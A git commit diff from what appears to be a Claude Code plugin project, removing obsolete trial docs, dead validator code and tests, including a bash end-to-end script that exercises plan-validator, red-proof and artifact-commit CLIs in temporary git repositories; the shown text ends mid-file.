chore(cleanup): remove the June trials, orchestrator docs, dormant agent, caller-less code and the fix-round chain
R4-R7 of the cleanup list (decision 188): the June trial docs and fixtures, the three orchestrator reference docs, the dormant synthesis-agent, code with no caller (project-discovery, bash-normalize, fidelity-diff, test-census, the next-session prompt validator, arm B and the --workflow flag) and the fix-round chain. Living docs repointed; the reasons for in-session orchestration and the all-opus pin are now written in docs/architecture.md and docs/profiles.md. New tests/lib/living-paths.test.mjs: living tracked text names only plugin paths that exist (seen red with 22 dead pointers before this commit). docs/T1-cc26-delegated-orchestration.md and lib/review/gold-scorer.mjs stay until R-b: the frozen end-state registry names them. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
parent
308b149e70
commit
8295601965
158 changed files with 308 additions and 12856 deletions
|
|
@ -15,7 +15,7 @@ import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, rmSync } from 'nod
|
|||
import { tmpdir } from 'node:os';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { execFileSync, spawnSync } from 'node:child_process';
|
||||
import { spawnSync } from 'node:child_process';
|
||||
import { runHook } from '../helpers/hook-helper.mjs';
|
||||
import { findSection } from '../../lib/parsers/plan-schema.mjs';
|
||||
|
||||
|
|
@ -180,7 +180,6 @@ test('trekcontinue Bug 3 — Phase 1.5 documents consistency check between Phase
|
|||
const cmd = readCommand();
|
||||
// Phase 1.5 must exist literally in the prose between Phase 1 and Phase 2.
|
||||
assert.match(cmd, /## Phase 1\.5 /, 'Phase 1.5 header must be present');
|
||||
assert.match(cmd, /next-session-prompt-validator/, 'Phase 1.5 must invoke next-session-prompt-validator');
|
||||
|
||||
const phase15Idx = cmd.indexOf('## Phase 1.5 ');
|
||||
const phase2Idx = cmd.indexOf('## Phase 2 ');
|
||||
|
|
@ -188,64 +187,6 @@ test('trekcontinue Bug 3 — Phase 1.5 documents consistency check between Phase
|
|||
'Phase 1.5 must appear before Phase 2');
|
||||
});
|
||||
|
||||
test('trekcontinue Bug 3 (e) — CLI consistency mode flags producer mismatch in JSON output', () => {
|
||||
const root = mkdtempSync(join(tmpdir(), 'trekcontinue-fm-'));
|
||||
try {
|
||||
const projectDir = join(root, '.claude', 'projects', '2026-05-04-fixture-c');
|
||||
mkdirSync(projectDir, { recursive: true });
|
||||
|
||||
// State file (status: in_progress, updated_at = T-base)
|
||||
const stateUpdatedAt = '2026-05-04T15:00:00.000Z';
|
||||
writeFileSync(
|
||||
join(projectDir, '.session-state.local.json'),
|
||||
JSON.stringify({
|
||||
schema_version: 1,
|
||||
project: projectDir,
|
||||
next_session_brief_path: join(projectDir, 'brief.md'),
|
||||
next_session_label: 'Session 2',
|
||||
status: 'in_progress',
|
||||
updated_at: stateUpdatedAt,
|
||||
}, null, 2),
|
||||
);
|
||||
|
||||
// Project-dir prompt: produced_by trekexecute at T-1
|
||||
const projectPrompt = join(projectDir, 'NEXT-SESSION-PROMPT.local.md');
|
||||
writeFileSync(projectPrompt,
|
||||
'---\nproduced_by: trekexecute\nproduced_at: 2026-05-04T15:30:00.000Z\n---\n\n# Session 2\n');
|
||||
|
||||
// Plugin-root prompt: produced_by graceful-handoff at T-0 (newer)
|
||||
const pluginPrompt = join(root, 'NEXT-SESSION-PROMPT.local.md');
|
||||
writeFileSync(pluginPrompt,
|
||||
'---\nproduced_by: graceful-handoff\nproduced_at: 2026-05-04T15:31:00.000Z\n---\n\n# A2 master\n');
|
||||
|
||||
// Both fresh relative to state.updated_at → producer mismatch must hard-fail.
|
||||
let exitCode = 0;
|
||||
let stdout = '';
|
||||
try {
|
||||
stdout = execFileSync(process.execPath, [
|
||||
join(ROOT, 'lib', 'validators', 'next-session-prompt-validator.mjs'),
|
||||
'--json',
|
||||
'--consistency',
|
||||
projectPrompt,
|
||||
pluginPrompt,
|
||||
], { encoding: 'utf-8', cwd: ROOT });
|
||||
} catch (e) {
|
||||
exitCode = e.status;
|
||||
stdout = e.stdout ? e.stdout.toString() : '';
|
||||
}
|
||||
assert.notEqual(exitCode, 0, 'consistency CLI must exit non-zero on producer mismatch');
|
||||
const parsed = JSON.parse(stdout);
|
||||
assert.equal(parsed.valid, false);
|
||||
const mismatch = parsed.errors.find(e => e.code === 'NEXT_SESSION_PROMPT_PRODUCER_MISMATCH');
|
||||
assert.ok(mismatch, 'must surface NEXT_SESSION_PROMPT_PRODUCER_MISMATCH error');
|
||||
assert.match(mismatch.message, new RegExp(projectPrompt.replace(/[/\\]/g, '.')), 'error message must reference project-dir prompt path');
|
||||
assert.match(mismatch.message, new RegExp(pluginPrompt.replace(/[/\\]/g, '.')), 'error message must reference plugin-root prompt path');
|
||||
assert.match(mismatch.message, /produced_by/i, 'error message must mention produced_by');
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('trekcontinue Bug 2 — Phase 2 contains no {state-file-path} or any {curly-template} placeholder', () => {
|
||||
// (d-2) Pattern D structure test. The fix must eliminate the
|
||||
// {state-file-path} placeholder and any other {anything} curly-brace
|
||||
|
|
|
|||
|
|
@ -225,9 +225,6 @@ test('trekresearch — High-effort behavior gives standard effort the wave-2 sen
|
|||
|
||||
// --- Step 8: Phase 4.5 dimension discovery + Independence amendment ---
|
||||
|
||||
const ORCHESTRATOR_FILE = join(ROOT, 'agents', 'research-orchestrator.md');
|
||||
function readOrchestrator() { return readFileSync(ORCHESTRATOR_FILE, 'utf8'); }
|
||||
|
||||
test('trekresearch — Phase 4.5 exists between Phase 4 and Phase 5 with the effort skip-guard', () => {
|
||||
const text = read();
|
||||
const p45 = text.indexOf('## Phase 4.5 —');
|
||||
|
|
@ -284,34 +281,6 @@ test('trekresearch — Independence hard rule carries an explicit Phase 4.5 amen
|
|||
'the amendment must name the compensating control');
|
||||
});
|
||||
|
||||
test('trekresearch — orchestrator phase map is correct, has no Phase 9, and carries Phase 4.5', () => {
|
||||
const doc = readOrchestrator();
|
||||
const start = doc.indexOf('<!-- Phase mapping');
|
||||
assert.ok(start >= 0, 'phase mapping comment missing');
|
||||
const end = doc.indexOf('-->', start);
|
||||
assert.ok(end > start, 'phase mapping comment not terminated');
|
||||
const map = doc.slice(start, end);
|
||||
|
||||
assert.doesNotMatch(map, /Command Phase 9/,
|
||||
'the command ends at Phase 8 — a Command Phase 9 row is a fiction');
|
||||
|
||||
// Six orchestrator rows, each pointing at the phase the command actually has.
|
||||
const expected = [
|
||||
[1, '4'],
|
||||
[2, '4'],
|
||||
[3, '5'],
|
||||
[4, '6'],
|
||||
[5, '7'],
|
||||
[6, '8'],
|
||||
];
|
||||
for (const [orch, cmd] of expected) {
|
||||
const re = new RegExp(`Orchestrator Phase ${orch}\\s+= Command Phase ${cmd.replace('.', '\\.')}\\b`);
|
||||
assert.match(map, re, `map row for Orchestrator Phase ${orch} must point at Command Phase ${cmd}`);
|
||||
}
|
||||
|
||||
assert.match(map, /Command Phase 4\.5/, 'the map must carry the new Phase 4.5 row');
|
||||
});
|
||||
|
||||
// --- v5.1.1 runtime SC4 + SC7 ---
|
||||
|
||||
test('trekresearch — SC4: low-effort fixture → resolver returns {effort: low, model: sonnet}', () => {
|
||||
|
|
|
|||
|
|
@ -13,11 +13,9 @@ import { parseDocument } from '../../lib/util/frontmatter.mjs';
|
|||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
const COMMAND_FILE = join(ROOT, 'commands', 'trekreview.md');
|
||||
const MODES_DOC = join(ROOT, 'docs', 'command-modes.md');
|
||||
const PHASE = 'review';
|
||||
|
||||
function read() { return readFileSync(COMMAND_FILE, 'utf8'); }
|
||||
function readModes() { return readFileSync(MODES_DOC, 'utf8'); }
|
||||
function readFixture(name) { return readFileSync(join(ROOT, 'tests', 'fixtures', name), 'utf8'); }
|
||||
function frontmatterOf(text) {
|
||||
const doc = parseDocument(text);
|
||||
|
|
@ -75,53 +73,6 @@ test('trekreview — SC7: brief_version 2.1 + no phase_signals + no partial →
|
|||
);
|
||||
});
|
||||
|
||||
// --- S11 (NW2 part B) — opt-in --workflow substrate routing ---
|
||||
|
||||
test('trekreview — Phase 1 flag table documents the --workflow opt-in flag', () => {
|
||||
const text = read();
|
||||
assert.match(text, /--workflow/,
|
||||
'commands/trekreview.md must document the --workflow opt-in flag (NW2 part B)');
|
||||
});
|
||||
|
||||
test('trekreview — --workflow routes Phase 5–6 to the validated NW2 Workflow port script', () => {
|
||||
const text = read();
|
||||
assert.ok(text.includes('scripts/trekreview-armB.workflow.mjs'),
|
||||
'the --workflow route must reference the bake-off-validated NW2 Workflow port script');
|
||||
});
|
||||
|
||||
test('trekreview — Workflow path is opt-in; default stays prose (portability floor)', () => {
|
||||
const text = read();
|
||||
assert.match(text, /opt-in/i, '--workflow must be described as opt-in');
|
||||
assert.ok(text.includes('Default stays prose'),
|
||||
'the command must state the default Phase 5–6 path stays prose (not Workflow)');
|
||||
});
|
||||
|
||||
test('trekreview — Workflow opt-in documents the Claude Code 2.1.154+ floor', () => {
|
||||
const text = read();
|
||||
assert.match(text, /2\.1\.154/,
|
||||
'the --workflow path raises the consumer floor and must document Claude Code 2.1.154+');
|
||||
});
|
||||
|
||||
test('trekreview — bake-off evidence (fidelity-equivalent / T2 results) is cited for the opt-in', () => {
|
||||
const text = read();
|
||||
assert.ok(
|
||||
text.includes('T2-bakeoff-results.md') && /fidelity-equivalent/i.test(text),
|
||||
'the opt-in must cite the S10 bake-off (docs/T2-bakeoff-results.md) fidelity-equivalence verdict',
|
||||
);
|
||||
});
|
||||
|
||||
test('command-modes.md — /trekreview table documents --workflow + its CC floor', () => {
|
||||
const text = readModes();
|
||||
const start = text.indexOf('## /trekreview modes');
|
||||
assert.ok(start >= 0, 'command-modes.md missing "## /trekreview modes" section');
|
||||
const end = text.indexOf('\n## ', start + 1);
|
||||
const section = text.slice(start, end === -1 ? undefined : end);
|
||||
assert.match(section, /--workflow/,
|
||||
'command-modes.md /trekreview table must list the --workflow opt-in flag');
|
||||
assert.match(section, /2\.1\.154/,
|
||||
'command-modes.md /trekreview --workflow row must note the Claude Code 2.1.154+ floor');
|
||||
});
|
||||
|
||||
test('trekreview — stats write through stats-append, never silently skipped', () => {
|
||||
const md = read();
|
||||
assert.match(md, /node \$\{CLAUDE_PLUGIN_ROOT\}\/lib\/stats\/stats-append\.mjs trekreview <<'JSON'/);
|
||||
|
|
|
|||
|
|
@ -1,286 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/e2e-files-trial4.sh
|
||||
# End to end for the trial-4 plan (steps 11 and 13): the four CLIs run the
|
||||
# way a command runs them.
|
||||
# 1. lib/validators/plan-validator.mjs --strict --json on three plans built
|
||||
# with tests/helpers/plan-v18-builder.mjs: a valid 1.9 plan (exit 0), a
|
||||
# 1.9 plan with an unticked Files entry (exit 1, PLAN_STEP_PATH_NOT_FIRST),
|
||||
# a 1.8 plan with an unticked path (exit 0, PLAN_STEP_PATH_UNTICKED).
|
||||
# 2. lib/util/artifact-commit.mjs in a temp git repo: with a trailer (exit 0,
|
||||
# the trailer is the message's last line), without (exit 1, HEAD unchanged).
|
||||
# 3. lib/review/verdict-gate.mjs on the legal (exit 0) and the illegal
|
||||
# (exit 2) brief-conflict review fixtures.
|
||||
# 4. plan-validator on a 1.8 plan whose Test first File line names a source
|
||||
# path in its description (exit 0, no PLAN_STEP_TESTS_ONLY: decision 20).
|
||||
# 5. plan-validator on a 1.9 plan whose Files is a backticked None (exit 1,
|
||||
# PLAN_STEP_PATH_NOT_A_PATH).
|
||||
# 6. lib/verification/red-proof.mjs with --plan/--step and a --tests that
|
||||
# differs from the plan's list (exit 2, tests-mismatch).
|
||||
# 7. artifact-commit with an empty-model trailer (exit 1, HEAD unchanged).
|
||||
# 8. plan-validator on a 1.9 plan whose Files entry wraps onto a line that
|
||||
# opens with a backticked flag (exit 0, no PLAN_STEP_PATH_NOT_A_PATH).
|
||||
# 9. plan-validator on a 1.9 plan whose Test first File line wraps onto a
|
||||
# line that opens with the source path (exit 0, no PLAN_STEP_TESTS_ONLY).
|
||||
# 10. red-proof --red-only with --plan/--step and no --tests in a second temp
|
||||
# repo (exit 0; its JSON tests field is the plan's one test file).
|
||||
# 11. the same with a plan path that does not exist (exit 2, plan-unreadable).
|
||||
# 12. the same as 10 in text form with a --tests that differs (exit 2, the
|
||||
# line " plan_tests: tests/parser.test.mjs").
|
||||
# 13. red-proof --red-only on a 1.8 plan whose File line names two tests,
|
||||
# each with a (new) note (exit 0; tests is both, in order; decision 31).
|
||||
# 14. red-proof --red-only on a 1.7 plan whose File line names its test
|
||||
# without backticks: no --tests (exit 2, no test files given, no tests
|
||||
# line), then --tests with the file the helper wrote (exit 0, the line
|
||||
# " tests: tests/parser.test.mjs"; decision 41).
|
||||
# Prints "e2e: ok" and exits 0, or names the failed check and exits 1.
|
||||
# bash 3.2 compatible, ASCII only.
|
||||
|
||||
set -u
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "e2e: FAIL - cannot cd to the repo root" >&2; exit 1; }
|
||||
ROOT="$(pwd)"
|
||||
|
||||
unset GIT_DIR GIT_WORK_TREE GIT_INDEX_FILE
|
||||
|
||||
TMP="$(mktemp -d "${TMPDIR:-/tmp}/e2e-files-trial4.XXXXXX")" || { echo "e2e: FAIL - mktemp" >&2; exit 1; }
|
||||
trap 'rm -rf "$TMP"' EXIT
|
||||
|
||||
fail() {
|
||||
echo "e2e: FAIL - $1" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
TRAILER='Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>'
|
||||
|
||||
# ---- 1. the plan validator on three plans ----
|
||||
|
||||
node --input-type=module -e '
|
||||
import { writeFileSync } from "node:fs";
|
||||
import { buildPlan } from "./tests/helpers/plan-v18-builder.mjs";
|
||||
const dir = process.argv[1];
|
||||
const e2e = { endToEnd: "bash tests/e2e.sh" };
|
||||
writeFileSync(dir + "/plan-1-9-valid.md", buildPlan({ version: "1.9" }));
|
||||
writeFileSync(dir + "/plan-1-9-unticked.md",
|
||||
buildPlan({ version: "1.9", steps: [{ filesRaw: "src/mod1.mjs - the parser" }, e2e] }));
|
||||
writeFileSync(dir + "/plan-1-8-unticked.md",
|
||||
buildPlan({ steps: [{ filesRaw: "`tests/mod1.test.mjs`, src/mod1.mjs" }, e2e] }));
|
||||
' "$TMP" || fail "could not write the three plans with tests/helpers/plan-v18-builder.mjs"
|
||||
|
||||
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/plan-1-9-valid.md" 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || fail "valid 1.9 plan: plan-validator exit $rc, expected 0: $out"
|
||||
|
||||
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/plan-1-9-unticked.md" 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 1 ] || fail "1.9 plan with an unticked Files entry: plan-validator exit $rc, expected 1: $out"
|
||||
echo "$out" | grep -q 'PLAN_STEP_PATH_NOT_FIRST' \
|
||||
|| fail "1.9 plan with an unticked Files entry: no PLAN_STEP_PATH_NOT_FIRST in: $out"
|
||||
|
||||
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/plan-1-8-unticked.md" 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || fail "1.8 plan with an unticked path: plan-validator exit $rc, expected 0: $out"
|
||||
echo "$out" | grep -q 'PLAN_STEP_PATH_UNTICKED' \
|
||||
|| fail "1.8 plan with an unticked path: no PLAN_STEP_PATH_UNTICKED in: $out"
|
||||
|
||||
# ---- 2. the approval commit in a temp git repo ----
|
||||
|
||||
# make_repo <dir>: a temp git repo with one commit, no hooks, no signing.
|
||||
make_repo() {
|
||||
mkdir -p "$1" "$TMP/hooks-none" || fail "mkdir $1"
|
||||
git -C "$1" init -q || fail "git init $1"
|
||||
git -C "$1" config user.name 'E2E Test'
|
||||
git -C "$1" config user.email 'test@example.invalid'
|
||||
git -C "$1" config commit.gpgsign false
|
||||
git -C "$1" config core.hooksPath "$TMP/hooks-none"
|
||||
echo 'x' > "$1/README.md"
|
||||
git -C "$1" add README.md && git -C "$1" commit -q -m 'init' || fail "initial commit in $1"
|
||||
}
|
||||
|
||||
REPO="$TMP/repo"
|
||||
make_repo "$REPO"
|
||||
|
||||
echo '# brief' > "$REPO/brief.md"
|
||||
H1='cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc'
|
||||
H2='dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd'
|
||||
(cd "$REPO" && node "$ROOT/lib/util/approval-log.mjs" append --kind intent --subject brief.md --sha256 "$H1" >/dev/null) \
|
||||
|| fail "approval-log append (first record)"
|
||||
[ -f "$REPO/.claude/voyage/approvals.jsonl" ] || fail "no .claude/voyage/approvals.jsonl in the temp repo"
|
||||
|
||||
out="$(node lib/util/artifact-commit.mjs --repo "$REPO" --store local --message 'docs(voyage): approve intent e2e' --trailer "$TRAILER" 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || fail "artifact-commit with a trailer: exit $rc, expected 0: $out"
|
||||
last="$(git -C "$REPO" log -1 --format=%B | sed '/^$/d' | tail -n 1)"
|
||||
[ "$last" = "$TRAILER" ] || fail "artifact-commit with a trailer: the last message line is '$last', expected '$TRAILER'"
|
||||
|
||||
(cd "$REPO" && node "$ROOT/lib/util/approval-log.mjs" append --kind intent --subject brief.md --sha256 "$H2" >/dev/null) \
|
||||
|| fail "approval-log append (second record)"
|
||||
before="$(git -C "$REPO" rev-parse HEAD)"
|
||||
out="$(node lib/util/artifact-commit.mjs --repo "$REPO" --store local --message 'docs(voyage): approve intent e2e' 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 1 ] || fail "artifact-commit without a trailer: exit $rc, expected 1: $out"
|
||||
after="$(git -C "$REPO" rev-parse HEAD)"
|
||||
[ "$before" = "$after" ] || fail "artifact-commit without a trailer: HEAD moved from $before to $after"
|
||||
|
||||
# ---- 3. the verdict gate on the two brief-conflict fixtures ----
|
||||
|
||||
out="$(node lib/review/verdict-gate.mjs tests/fixtures/review-brief-conflict-legal.md 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || fail "verdict-gate on review-brief-conflict-legal.md: exit $rc, expected 0: $out"
|
||||
|
||||
out="$(node lib/review/verdict-gate.mjs tests/fixtures/review-brief-conflict-illegal.md 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 2 ] || fail "verdict-gate on review-brief-conflict-illegal.md: exit $rc, expected 2: $out"
|
||||
|
||||
# ---- 4. and 5. the plan validator on decision 20 and on a placeholder ----
|
||||
|
||||
node --input-type=module -e '
|
||||
import { writeFileSync } from "node:fs";
|
||||
import { buildPlan } from "./tests/helpers/plan-v18-builder.mjs";
|
||||
const dir = process.argv[1];
|
||||
const e2e = { endToEnd: "bash tests/e2e.sh" };
|
||||
writeFileSync(dir + "/plan-1-8-description.md", buildPlan({ steps: [{
|
||||
file: "src/parser.mjs", test: "tests/parser.test.mjs",
|
||||
filesRaw: "`src/parser.mjs`, `tests/parser.test.mjs`",
|
||||
testFirstRaw: " - File: `tests/parser.test.mjs` (new) - covers `parse()` in `src/parser.mjs`",
|
||||
}, e2e] }));
|
||||
writeFileSync(dir + "/plan-1-9-none.md",
|
||||
buildPlan({ version: "1.9", steps: [{ filesRaw: "`None`" }, e2e] }));
|
||||
' "$TMP" || fail "could not write the plans for checks 4 and 5"
|
||||
|
||||
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/plan-1-8-description.md" 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || fail "1.8 plan with a source path in the File line description: plan-validator exit $rc, expected 0: $out"
|
||||
if echo "$out" | grep -q 'PLAN_STEP_TESTS_ONLY'; then
|
||||
fail "1.8 plan with a source path in the File line description: PLAN_STEP_TESTS_ONLY in: $out"
|
||||
fi
|
||||
|
||||
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/plan-1-9-none.md" 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 1 ] || fail "1.9 plan whose Files is a backticked None: plan-validator exit $rc, expected 1: $out"
|
||||
echo "$out" | grep -q 'PLAN_STEP_PATH_NOT_A_PATH' \
|
||||
|| fail "1.9 plan whose Files is a backticked None: no PLAN_STEP_PATH_NOT_A_PATH in: $out"
|
||||
|
||||
# ---- 6. red proof refuses a --tests that differs from the plan ----
|
||||
|
||||
out="$(node lib/verification/red-proof.mjs --red-only --base HEAD --cwd "$REPO" --cmd 'node --test tests/parser.test.mjs' --tests tests/other.test.mjs --plan "$TMP/plan-1-8-description.md" --step 1 --json 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 2 ] || fail "red-proof with a --tests that differs from the plan: exit $rc, expected 2: $out"
|
||||
echo "$out" | grep -q 'tests-mismatch' \
|
||||
|| fail "red-proof with a --tests that differs from the plan: no tests-mismatch in: $out"
|
||||
|
||||
# ---- 7. the approval commit refuses an empty-model trailer ----
|
||||
|
||||
before="$(git -C "$REPO" rev-parse HEAD)"
|
||||
out="$(node lib/util/artifact-commit.mjs --repo "$REPO" --store local --message 'docs(voyage): approve intent e2e' --trailer 'Co-Authored-By: Claude <noreply@anthropic.com>' 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 1 ] || fail "artifact-commit with an empty-model trailer: exit $rc, expected 1: $out"
|
||||
after="$(git -C "$REPO" rev-parse HEAD)"
|
||||
[ "$before" = "$after" ] || fail "artifact-commit with an empty-model trailer: HEAD moved from $before to $after"
|
||||
|
||||
# ---- 8. to 13. decisions 29 to 31: wrapped 1.9 lines, red proof without --tests ----
|
||||
|
||||
node --input-type=module -e '
|
||||
import { writeFileSync } from "node:fs";
|
||||
import { buildPlan } from "./tests/helpers/plan-v18-builder.mjs";
|
||||
const dir = process.argv[1];
|
||||
const e2e = { endToEnd: "bash tests/e2e.sh" };
|
||||
writeFileSync(dir + "/p8.md", buildPlan({ version: "1.9", steps: [{
|
||||
filesRaw: "`src/a.mjs`\n `--strict` flag added",
|
||||
}, e2e] }));
|
||||
writeFileSync(dir + "/p9.md", buildPlan({ version: "1.9", steps: [{
|
||||
file: "src/parser.mjs", test: "tests/parser.test.mjs",
|
||||
filesRaw: "`src/parser.mjs`, `tests/parser.test.mjs`",
|
||||
testFirstRaw: " - File: `tests/parser.test.mjs`\n `src/parser.mjs` is the module it drives",
|
||||
}, e2e] }));
|
||||
writeFileSync(dir + "/p13.md", buildPlan({ steps: [{
|
||||
file: "src/parser.mjs",
|
||||
filesRaw: "`src/parser.mjs`, `tests/a.test.mjs`, `tests/b.test.mjs`",
|
||||
testFirstRaw: " - File: `tests/a.test.mjs` (new), `tests/b.test.mjs` (new)",
|
||||
}, e2e] }));
|
||||
writeFileSync(dir + "/p14.md", buildPlan({ version: "1.7", steps: [{
|
||||
file: "src/parser.mjs",
|
||||
filesRaw: "`src/parser.mjs`, `tests/parser.test.mjs`",
|
||||
testFirstRaw: " - File: tests/parser.test.mjs (new)",
|
||||
}, e2e] }));
|
||||
' "$TMP" || fail "could not write the plans for checks 8 to 14"
|
||||
|
||||
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/p8.md" 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || fail "8: 1.9 plan with a wrapped Files entry: plan-validator exit $rc, expected 0: $out"
|
||||
if echo "$out" | grep -q 'PLAN_STEP_PATH_NOT_A_PATH'; then
|
||||
fail "8: 1.9 plan with a wrapped Files entry: PLAN_STEP_PATH_NOT_A_PATH in: $out"
|
||||
fi
|
||||
|
||||
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/p9.md" 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || fail "9: 1.9 plan with a wrapped Test first File line: plan-validator exit $rc, expected 0: $out"
|
||||
if echo "$out" | grep -q 'PLAN_STEP_TESTS_ONLY'; then
|
||||
fail "9: 1.9 plan with a wrapped Test first File line: PLAN_STEP_TESTS_ONLY in: $out"
|
||||
fi
|
||||
|
||||
R="$TMP/repo-red"
|
||||
make_repo "$R"
|
||||
mkdir -p "$R/src" "$R/tests" || fail "mkdir $R"
|
||||
echo 'export const parse = (s) => Number(s);' > "$R/src/parser.mjs"
|
||||
for t in parser a b; do
|
||||
cat > "$R/tests/$t.test.mjs" <<'EOT'
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { parse } from '../src/parser.mjs';
|
||||
test('parse reads a number', () => { assert.equal(parse('2'), 2); });
|
||||
EOT
|
||||
done
|
||||
|
||||
# tests_equal <json file> <expected JSON array>: exit 0 when the JSON's tests deep-equals it.
|
||||
tests_equal() {
|
||||
node -e '
|
||||
const assert = require("node:assert");
|
||||
const fs = require("node:fs");
|
||||
const r = JSON.parse(fs.readFileSync(process.argv[1], "utf8"));
|
||||
try { assert.deepStrictEqual(r.tests, JSON.parse(process.argv[2])); } catch (e) { process.exit(1); }
|
||||
' "$1" "$2"
|
||||
}
|
||||
|
||||
node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/parser.test.mjs' --plan "$TMP/p9.md" --step 1 --json >"$TMP/rp10.json" 2>"$TMP/rp10.err"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || fail "10: red-proof with --plan/--step and no --tests: exit $rc, expected 0: $(cat "$TMP/rp10.json" "$TMP/rp10.err")"
|
||||
tests_equal "$TMP/rp10.json" '["tests/parser.test.mjs"]' \
|
||||
|| fail "10: red-proof tests is not [\"tests/parser.test.mjs\"]: $(cat "$TMP/rp10.json")"
|
||||
|
||||
out="$(node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/parser.test.mjs' --plan "$TMP/nope.md" --step 1 --json 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 2 ] || fail "11: red-proof with a plan that does not exist: exit $rc, expected 2: $out"
|
||||
echo "$out" | grep -q 'plan-unreadable' \
|
||||
|| fail "11: red-proof with a plan that does not exist: no plan-unreadable in: $out"
|
||||
|
||||
out="$(node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/parser.test.mjs' --tests tests/a.test.mjs --plan "$TMP/p9.md" --step 1 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 2 ] || fail "12: red-proof with a --tests that differs (text): exit $rc, expected 2: $out"
|
||||
echo "$out" | grep -Fqx ' plan_tests: tests/parser.test.mjs' \
|
||||
|| fail "12: red-proof with a --tests that differs (text): no line ' plan_tests: tests/parser.test.mjs' in: $out"
|
||||
|
||||
node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/a.test.mjs tests/b.test.mjs' --plan "$TMP/p13.md" --step 1 --json >"$TMP/rp13.json" 2>"$TMP/rp13.err"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || fail "13: red-proof on a 1.8 plan with two (new) tests: exit $rc, expected 0: $(cat "$TMP/rp13.json" "$TMP/rp13.err")"
|
||||
tests_equal "$TMP/rp13.json" '["tests/a.test.mjs","tests/b.test.mjs"]' \
|
||||
|| fail "13: red-proof tests is not the two test paths in order: $(cat "$TMP/rp13.json")"
|
||||
|
||||
# ---- 14. decision 41: a 1.7 plan that names no test file, then --tests ----
|
||||
|
||||
out="$(node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/parser.test.mjs' --plan "$TMP/p14.md" --step 1 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 2 ] || fail "14: red-proof on a 1.7 plan that names no test file: exit $rc, expected 2: $out"
|
||||
echo "$out" | grep -q 'no test files given' \
|
||||
|| fail "14: red-proof on a 1.7 plan that names no test file: no 'no test files given' in: $out"
|
||||
if echo "$out" | grep -Eq '^ tests: [^ ]'; then
|
||||
fail "14: red-proof on a 1.7 plan that names no test file: a tests line in: $out"
|
||||
fi
|
||||
|
||||
out="$(node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/parser.test.mjs' --plan "$TMP/p14.md" --step 1 --tests tests/parser.test.mjs 2>&1)"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || fail "14: red-proof on a 1.7 plan with --tests the helper wrote: exit $rc, expected 0: $out"
|
||||
echo "$out" | grep -Fqx ' tests: tests/parser.test.mjs' \
|
||||
|| fail "14: red-proof on a 1.7 plan with --tests the helper wrote: no line ' tests: tests/parser.test.mjs' in: $out"
|
||||
|
||||
echo 'e2e: ok'
|
||||
exit 0
|
||||
|
|
@ -1,40 +0,0 @@
|
|||
// tests/fix-round-4-5a-mutations.mjs
|
||||
// The mutations of fix round 4-5a, for the shared red script
|
||||
// (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs). DJ's
|
||||
// defect was a missing test: its sentences already stood at ab6b32c, so its
|
||||
// pins are proven red by deleting the copy-through spans. A deletes the span
|
||||
// in commands/trekreview.md, B both spans in agents/review-coordinator.md;
|
||||
// every span must match exactly once. Moved verbatim from the heredoc the
|
||||
// 4-5a red script used to write. Data only; never matched by `npm test`.
|
||||
|
||||
export const MUTATIONS = [
|
||||
{
|
||||
key: 'DJ-A',
|
||||
id: 'DJ',
|
||||
what: 'the copy-through span in commands/trekreview.md deleted',
|
||||
spans: [
|
||||
{
|
||||
file: 'commands/trekreview.md',
|
||||
